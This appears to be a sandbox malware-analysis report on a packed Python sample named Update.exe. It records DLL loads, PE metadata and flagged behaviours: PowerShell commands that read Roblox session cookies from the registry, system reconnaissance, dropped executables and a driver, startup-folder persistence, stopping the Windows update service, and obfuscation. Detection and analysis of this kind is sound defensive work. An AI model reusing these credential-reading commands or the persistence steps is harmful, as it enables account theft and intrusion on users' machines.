Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\wusa.exe Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\Desktop\pyvenv.cfg Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: Update.exe Static PE information: Image base 0x140000000 > 0x60000000
Source: Update.exe Static file information: File size 8514937 > 1048576
Source: Update.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Update.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Update.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Update.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Update.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Update.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: Update.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: Update.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: D:\a\1\b\bin\amd64\select.pdb source: Update.exe, Update.exe, 00000001.00000002.1994356570.00007FFE130C1000.00000040.00000001.01000000.0000000D.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: Update.exe, 00000001.00000002.1986363655.00007FFDFA21C000.00000040.00000001.01000000.00000015.sdmp
Source: Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1t 7 Feb 2023built on: Thu Feb 9 15:27:40 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: Update.exe, 00000001.00000002.1987005152.00007FFDFB1F0000.00000040.00000001.01000000.0000000F.sdmp
Source: Binary string: d:\a01\_work\12\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: Update.exe, 00000000.00000003.1661738762.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1995197161.00007FFE13341000.00000002.00000001.01000000.00000005.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: Update.exe, Update.exe, 00000001.00000002.1994638297.00007FFE13301000.00000040.00000001.01000000.00000006.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: Update.exe, Update.exe, 00000001.00000002.1990383539.00007FFE10231000.00000040.00000001.01000000.00000011.sdmp
Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: Update.exe
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbMM source: Update.exe, 00000001.00000002.1993654455.00007FFE126EB000.00000040.00000001.01000000.00000008.sdmp
Source: Binary string: D:\a\1\b\libssl-1_1.pdb@@ source: Update.exe, 00000001.00000002.1986715794.00007FFDFAF56000.00000040.00000001.01000000.00000010.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\python310.pdb source: Update.exe, 00000001.00000002.1987855894.00007FFDFB65F000.00000040.00000001.01000000.00000004.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: Update.exe, Update.exe, 00000001.00000002.1994077253.00007FFE12E11000.00000040.00000001.01000000.00000012.sdmp
Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: Update.exe, 00000001.00000002.1987005152.00007FFDFB1F0000.00000040.00000001.01000000.0000000F.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: Update.exe, 00000001.00000002.1993654455.00007FFE126EB000.00000040.00000001.01000000.00000008.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: Update.exe, Update.exe, 00000001.00000002.1993393229.00007FFE11511000.00000040.00000001.01000000.00000009.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: Update.exe, Update.exe, 00000001.00000002.1989334674.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: Update.exe, Update.exe, 00000001.00000002.1990826986.00007FFE10251000.00000040.00000001.01000000.0000000C.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: Update.exe, Update.exe, 00000001.00000002.1991340548.00007FFE10301000.00000040.00000001.01000000.0000000A.sdmp
Source: Binary string: D:\a\1\b\libcrypto-1_1.pdb source: Update.exe, Update.exe, 00000001.00000002.1987005152.00007FFDFB272000.00000040.00000001.01000000.0000000F.sdmp
Source: Binary string: D:\a\1\b\libssl-1_1.pdb source: Update.exe, Update.exe, 00000001.00000002.1986715794.00007FFDFAF56000.00000040.00000001.01000000.00000010.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: Update.exe, Update.exe, 00000001.00000002.1989991637.00007FFE0EB41000.00000040.00000001.01000000.0000000E.sdmp
Source: Update.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Update.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Update.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Update.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Update.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation
barindex
Suspicious powershell command line found
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yidhhzbx\yidhhzbx.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yidhhzbx\yidhhzbx.cmdline"
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAF91AA0 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect, 1_2_00007FFDFAF91AA0
PE file contains an invalid checksum
Source: libcrypto-1_1.dll.0.dr Static PE information: real checksum: 0x0 should be: 0x118790
Source: python310.dll.0.dr Static PE information: real checksum: 0x0 should be: 0x179482
Source: _bz2.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x190ae
Source: Build.exe.15.dr Static PE information: real checksum: 0x0 should be: 0x28edbf
Source: libssl-1_1.dll.0.dr Static PE information: real checksum: 0x0 should be: 0x3bfea
Source: Update.exe Static PE information: real checksum: 0x826b6b should be: 0x82101c
Source: _queue.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0xd20c
Source: _socket.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x16097
Source: _hashlib.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x14a50
Source: select.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x927e
Source: _sqlite3.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x1931c
Source: libffi-7.dll.0.dr Static PE information: real checksum: 0x0 should be: 0x9bb1
Source: _ctypes.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x15162
Source: unicodedata.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x4d519
Source: _ssl.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x15afd
Source: nfblozsybbjy.exe.17.dr Static PE information: real checksum: 0x0 should be: 0x28edbf
Source: sqlite3.dll.0.dr Static PE information: real checksum: 0x0 should be: 0xa7f83
Source: yidhhzbx.dll.58.dr Static PE information: real checksum: 0x0 should be: 0xe8ba
Source: _decimal.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x241ea
Source: _lzma.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x2099b
PE file contains sections with non-standard names
Source: libffi-7.dll.0.dr Static PE information: section name: UPX2
Source: VCRUNTIME140.dll.0.dr Static PE information: section name: _RDATA
Source: Build.exe.15.dr Static PE information: section name: .00cfg
Source: nfblozsybbjy.exe.17.dr Static PE information: section name: .00cfg
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA1192D4 push r10; retf 1_2_00007FFDFA119340
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA11A2D5 push rsp; retf 1_2_00007FFDFA11A2D6
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA116C11 push r10; ret 1_2_00007FFDFA116C13
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA119BF2 push rsp; retf 1_2_00007FFDFA119BF3
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA11A154 push rsp; ret 1_2_00007FFDFA11A155
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA119193 push rdi; iretd 1_2_00007FFDFA119195
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA116E8B push rsi; ret 1_2_00007FFDFA116E8C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA116E7C push rsp; iretd 1_2_00007FFDFA116E7D
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA116EC0 push r12; ret 1_2_00007FFDFA116EDE
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA116EA6 push r10; retf 1_2_00007FFDFA116EA9
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA118EEE push r12; ret 1_2_00007FFDFA118F15
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA116F44 push r8; ret 1_2_00007FFDFA116F4C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA118F43 push r12; iretd 1_2_00007FFDFA118F5A
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA116F22 push r12; ret 1_2_00007FFDFA116F3A
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA116F7D push r10; ret 1_2_00007FFDFA116F90
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA1177DA push rsi; ret 1_2_00007FFDFA117811
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA11A499 push rdx; ret 1_2_00007FFDFA11A4F0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA116CDA push rdx; ret 1_2_00007FFDFA116CE1
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA116CBC push r8; ret 1_2_00007FFDFA116CC9
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA116CE6 push r12; ret 1_2_00007FFDFA116CE8
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA11854C push rbp; retf 1_2_00007FFDFA118565
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA118597 push r12; ret 1_2_00007FFDFA1185D3
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA119D75 push rsp; iretq 1_2_00007FFDFA119D76
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA116DEB push rsp; ret 1_2_00007FFDFA116DF3
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA118E56 push rbp; iretq 1_2_00007FFDFA118E57
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA116E34 push rdi; iretd 1_2_00007FFDFA116E36
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_00007FFD9ACFD2A5 pushad ; iretd 7_2_00007FFD9ACFD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_00007FFD9AE183FC push ebx; ret 7_2_00007FFD9AE1847A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_00007FFD9AE1860B push ebx; ret 7_2_00007FFD9AE1860A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_00007FFD9AE185FB push ebx; ret 7_2_00007FFD9AE1860A
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE1394 push qword ptr [00007FF633FEC004h]; ret 17_2_00007FF633FE1403
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1

Persistence and Installation Behavior
barindex
Sample is not signed and drops a device driver
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe File created: C:\Windows\TEMP\jxokwqntprmq.sys
Drops PE files
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\_lzma.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\VCRUNTIME140.dll Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\_socket.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\_decimal.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\_hashlib.pyd Jump to dropped file
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe File created: C:\Windows\Temp\jxokwqntprmq.sys Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\libssl-1_1.dll Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\libcrypto-1_1.dll Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\_queue.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\python310.dll Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\select.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\unicodedata.pyd Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\yidhhzbx\yidhhzbx.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Build.exe File created: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\sqlite3.dll Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\_bz2.pyd Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bound.exe File created: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\_ctypes.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\libffi-7.dll Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\_sqlite3.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\rar.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bound.exe File created: C:\Users\user\AppData\Local\Temp\Build.exe Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522\_ssl.pyd Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\Build.exe File created: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe File created: C:\Windows\Temp\jxokwqntprmq.sys Jump to dropped file
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Users\user\Desktop\Update.exe File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? ?.scr Jump to behavior
Stores files to the Windows start menu directory
Source: C:\Users\user\Desktop\Update.exe File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? ?.scr Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
